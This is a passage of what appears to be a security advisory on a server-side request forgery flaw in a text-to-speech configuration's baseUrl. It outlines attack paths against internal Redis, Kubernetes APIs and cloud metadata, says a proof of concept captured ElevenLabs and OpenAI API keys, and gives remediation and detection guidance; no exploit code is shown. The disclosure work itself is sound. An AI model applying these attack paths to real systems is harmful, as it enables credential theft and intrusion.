data-id="3230f0c5b87c8039bf44ff9a5c5f2d48"><span><div id="3230f0c5b87c8039bf44ff9a5c5f2d48" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8039bf44ff9a5c5f2d48" title="3. Internal Service Probing"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">3. Internal Service Probing</span></span></h4><div class="notion-text notion-block-3230f0c5b87c8031b2d1fe9446e91c52"><b>Impact</b>: HTTP request smuggling to Redis, potential command injection</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8063adeef1987ad5aab0" data-id="3230f0c5b87c8063adeef1987ad5aab0"><span><div id="3230f0c5b87c8063adeef1987ad5aab0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8063adeef1987ad5aab0" title="4. Kubernetes API Access"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">4. Kubernetes API Access</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80709267d5311b49ddc3"><b>Impact</b>: Attempt cluster API access if service account tokens leaked</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c806dad8de864a8ca99bc" data-id="3230f0c5b87c806dad8de864a8ca99bc"><span><div id="3230f0c5b87c806dad8de864a8ca99bc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c806dad8de864a8ca99bc" title="5. Cloud Metadata Services"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">5. Cloud Metadata Services</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8056864ad53b8b31d5ea" data-id="3230f0c5b87c8056864ad53b8b31d5ea"><span><div id="3230f0c5b87c8056864ad53b8b31d5ea" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8056864ad53b8b31d5ea" title="Impact Assessment"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Impact Assessment</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c807fac4efb2b55d5a4bc" data-id="3230f0c5b87c807fac4efb2b55d5a4bc"><span><div id="3230f0c5b87c807fac4efb2b55d5a4bc" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c807fac4efb2b55d5a4bc" title="Confidentiality Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Confidentiality Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80038128f91919df8a57"><li><b>High</b>: API keys for paid services (ElevenLabs, OpenAI) directly leaked</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e08d1ef1afd31ff666"><li>Attacker can:</li><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e08d1ef1afd31ff666"><li>Use stolen API keys to rack up charges on victim’s account</li><li>Access all TTS services under victim’s quota</li><li>Potentially access other services if keys have broader scope</li></ul></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80f5946bd691b3fecd85" data-id="3230f0c5b87c80f5946bd691b3fecd85"><span><div id="3230f0c5b87c80f5946bd691b3fecd85" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80f5946bd691b3fecd85" title="Integrity Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Integrity Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8035880cdc2c671f37b6"><li><b>Low</b>: Attacker can send crafted requests to internal services</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80b9b71df1960fa9a832"><li>May bypass internal network segmentation</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80c4a077fa72be4f2d15"><li>Potential for protocol smuggling attacks</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8034ac6dd462b56aff10" data-id="3230f0c5b87c8034ac6dd462b56aff10"><span><div id="3230f0c5b87c8034ac6dd462b56aff10" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8034ac6dd462b56aff10" title="Availability Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Availability Impact</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80cc972bf101d2e5e252"><li><b>None</b>: No direct DoS vector, though stolen keys could be exhausted</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b2aab6d6fdfb8e1e83" data-id="3230f0c5b87c80b2aab6d6fdfb8e1e83"><span><div id="3230f0c5b87c80b2aab6d6fdfb8e1e83" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b2aab6d6fdfb8e1e83" title="Scope Change"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Scope Change</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8023b8bee12e09d263cb"><li><b>Yes</b>: Vulnerability allows attacking resources beyond the application boundary (internal networks, cloud metadata services)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8055abdfe40f062771c0" data-id="3230f0c5b87c8055abdfe40f062771c0"><span><div id="3230f0c5b87c8055abdfe40f062771c0" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8055abdfe40f062771c0" title="Business Impact"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Business Impact</span></span></h4><table class="notion-simple-table notion-block-3230f0c5b87c80d7b1e6c2ae6bb9d233"><tbody><tr class="notion-simple-table-row notion-simple-table-header-row notion-block-3230f0c5b87c8084a581c692ccda21bd"><td class="" style="width:120px"><div class="notion-simple-table-cell">Category</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Impact</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c802bbf4cf995dfc71973"><td class="" style="width:120px"><div class="notion-simple-table-cell">Financial</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Unauthorized API usage charges, potential service suspension</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80a6b740eff9d5f905ae"><td class="" style="width:120px"><div class="notion-simple-table-cell">Compliance</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Violation of PCI-DSS Requirement 6.5.1 (injection flaws)</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c80b8bd2ddddabd3165e6"><td class="" style="width:120px"><div class="notion-simple-table-cell">Reputation</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Exposure of paid service credentials damages trust</div></td></tr><tr class="notion-simple-table-row notion-block-3230f0c5b87c8064824bd03f87d0a9fe"><td class="" style="width:120px"><div class="notion-simple-table-cell">Operational</div></td><td class="" style="width:120px"><div class="notion-simple-table-cell">Need to rotate all TTS provider API keys</div></td></tr></tbody></table><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80eb84b1e9d917b9df62" data-id="3230f0c5b87c80eb84b1e9d917b9df62"><span><div id="3230f0c5b87c80eb84b1e9d917b9df62" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80eb84b1e9d917b9df62" title="CWE Classification"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">CWE Classification</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c804abecaf139638f04fa"><li><b>CWE-918</b>: Server-Side Request Forgery (SSRF)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c800c9ae5fbe83aa56761"><li><b>CWE-918</b>: Server-Side Request Forgery (SSRF)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8030bc20f37653f82265"><li><b>CWE-200</b>: Exposure of Sensitive Information to an Unauthorized Actor</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80bc93c6dbea9ae78230"><li><b>CWE-918</b>: Server-Side Request Forgery (SSRF)</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c801bafc9e20f18cb92af" data-id="3230f0c5b87c801bafc9e20f18cb92af"><span><div id="3230f0c5b87c801bafc9e20f18cb92af" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c801bafc9e20f18cb92af" title="Affected Versions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Affected Versions</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8087a06bda725b400368"><li>All versions implementing TTS providers (introduced in commit containing <code class="notion-inline-code">src/tts/tts-core.ts</code>)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c808ab54ecebab021dd2f"><li>Confirmed exploitable as of 2026-03-11 code analysis</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8091a72ee619ef11c17f" data-id="3230f0c5b87c8091a72ee619ef11c17f"><span><div id="3230f0c5b87c8091a72ee619ef11c17f" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8091a72ee619ef11c17f" title="Prerequisites"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Prerequisites</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80e685a2fbcd6bd149f1"><li>Attacker requires <b>admin or operator</b> role to modify configuration via <code class="notion-inline-code">config.patch</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80798fd6e86cbafa2fdd"><li>Valid authentication token with configuration write permissions</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c807e9db6d70201225fdf"><li>Knowledge of current <code class="notion-inline-code">baseHash</code> for configuration updates</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c806289cef86408e83a06" data-id="3230f0c5b87c806289cef86408e83a06"><span><div id="3230f0c5b87c806289cef86408e83a06" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c806289cef86408e83a06" title="Remediation"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Remediation</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c802f9722eacdb3271785" data-id="3230f0c5b87c802f9722eacdb3271785"><span><div id="3230f0c5b87c802f9722eacdb3271785" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c802f9722eacdb3271785" title="Immediate Mitigations"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Immediate Mitigations</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8088b9b4ef481cdb3b00" style="list-style-type:decimal"><li><b>Implement URL validation</b>:</li></ol><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80c98aafcce5165acb75" style="list-style-type:decimal"><li><b>Apply allowlist approach</b>:</li></ol><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c805b857ae30a48850d44" style="list-style-type:decimal"><li><b>Use dedicated SSRF-safe fetch wrapper</b>:</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80c58889daeee8e1c769" data-id="3230f0c5b87c80c58889daeee8e1c769"><span><div id="3230f0c5b87c80c58889daeee8e1c769" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80c58889daeee8e1c769" title="Long-term Solutions"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Long-term Solutions</span></span></h4><ol start="1" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80f2ad95c3fbbd326cc4" style="list-style-type:decimal"><li>Remove <code class="notion-inline-code">baseUrl</code> parameter from TTS configuration entirely</li></ol><ol start="2" class="notion-list notion-list-numbered notion-block-3230f0c5b87c8055bc8df69b9285fdb6" style="list-style-type:decimal"><li>Use environment variables for service endpoints (controlled by deployment, not users)</li></ol><ol start="3" class="notion-list notion-list-numbered notion-block-3230f0c5b87c80269685c48f28924b1e" style="list-style-type:decimal"><li>Implement network-level egress filtering to prevent internal network access</li></ol><ol start="4" class="notion-list notion-list-numbered notion-block-3230f0c5b87c809f95d0e3119ab90199" style="list-style-type:decimal"><li>Add audit logging for all configuration changes affecting network requests</li></ol><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80e9a04de3775909449b" data-id="3230f0c5b87c80e9a04de3775909449b"><span><div id="3230f0c5b87c80e9a04de3775909449b" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80e9a04de3775909449b" title="Detection Methods"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Detection Methods</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8097a7cdd02112c84fcf" data-id="3230f0c5b87c8097a7cdd02112c84fcf"><span><div id="3230f0c5b87c8097a7cdd02112c84fcf" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8097a7cdd02112c84fcf" title="Log-based Detection"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Log-based Detection</span></span></h4><div class="notion-text notion-block-3230f0c5b87c808e86d3fae51fedddc8">Search for configuration changes modifying TTS baseUrl:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c803abebccf3a7189e1f3" data-id="3230f0c5b87c803abebccf3a7189e1f3"><span><div id="3230f0c5b87c803abebccf3a7189e1f3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c803abebccf3a7189e1f3" title="Network Monitoring"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Network Monitoring</span></span></h4><div class="notion-text notion-block-3230f0c5b87c80c4a118eccba2bb9786">Monitor for unexpected outbound connections from application hosts:</div><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c8036a861cdf6dc889528" data-id="3230f0c5b87c8036a861cdf6dc889528"><span><div id="3230f0c5b87c8036a861cdf6dc889528" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c8036a861cdf6dc889528" title="Configuration Audit"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Configuration Audit</span></span></h4><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80b58214e684e749e23e" data-id="3230f0c5b87c80b58214e684e749e23e"><span><div id="3230f0c5b87c80b58214e684e749e23e" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80b58214e684e749e23e" title="Timeline"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">Timeline</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80bc8acfdf5aad127506"><li><b>2026-03-11</b>: Vulnerability discovered during systematic advisory pattern analysis</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80869ebce2d6a86661de"><li><b>2026-03-11</b>: PoC created and verified (2/2 API keys captured)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80539ae7cc143308f388"><li><b>2026-03-11</b>: Identified 6 additional components with same vulnerability pattern</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8055aa4af22a5031181d"><li><b>2026-03-11</b>: GitHub Security Advisory created</li></ul><h4 class="notion-h notion-h3 notion-h-indent-1 notion-block-3230f0c5b87c80bf9ad2d8958ee467f3" data-id="3230f0c5b87c80bf9ad2d8958ee467f3"><span><div id="3230f0c5b87c80bf9ad2d8958ee467f3" class="notion-header-anchor"></div><a class="notion-hash-link" href="#3230f0c5b87c80bf9ad2d8958ee467f3" title="References"><svg viewBox="0 0 16 16" width="16" height="16"><path fill-rule="evenodd" d="M7.775 3.275a.75.75 0 001.06 1.06l1.25-1.25a2 2 0 112.83 2.83l-2.5 2.5a2 2 0 01-2.83 0 .75.75 0 00-1.06 1.06 3.5 3.5 0 004.95 0l2.5-2.5a3.5 3.5 0 00-4.95-4.95l-1.25 1.25zm-4.69 9.64a2 2 0 010-2.83l2.5-2.5a2 2 0 012.83 0 .75.75 0 001.06-1.06 3.5 3.5 0 00-4.95 0l-2.5 2.5a3.5 3.5 0 004.95 4.95l1.25-1.25a.75.75 0 00-1.06-1.06l-1.25 1.25a2 2 0 01-2.83 0z"></path></svg></a><span class="notion-h-title">References</span></span></h4><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c809495deda49ced30972"><li>PoC Script: <code class="notion-inline-code">poc_NEW1_TTS_SSRF.js</code></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8006b5aaf135faa04ceb"><li>Verification: Captured 2 API keys from ElevenLabs and OpenAI TTS requests</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c800daa23ed68dc3f8f36"><li>Related: GHSA-004 (Firecrawl SSRF - similar pattern)</li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c8068aec9ffa2c4d1d249"><li>OWASP SSRF Prevention Cheat Sheet: <a class="notion-link" href="https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html" target="_blank" rel="noopener noreferrer">https://cheatsheetseries.owasp.org/cheatsheets/Server_Side_Request_Forgery_Prevention_Cheat_Sheet.html</a></li></ul><ul class="notion-list notion-list-disc notion-block-3230f0c5b87c80a39cb3d6a83f9cb97d"><li>CWE-918: <a class="notion-link" href="https://cwe.mitre.org/data/definitions/918.html" target="_blank" rel="noopener 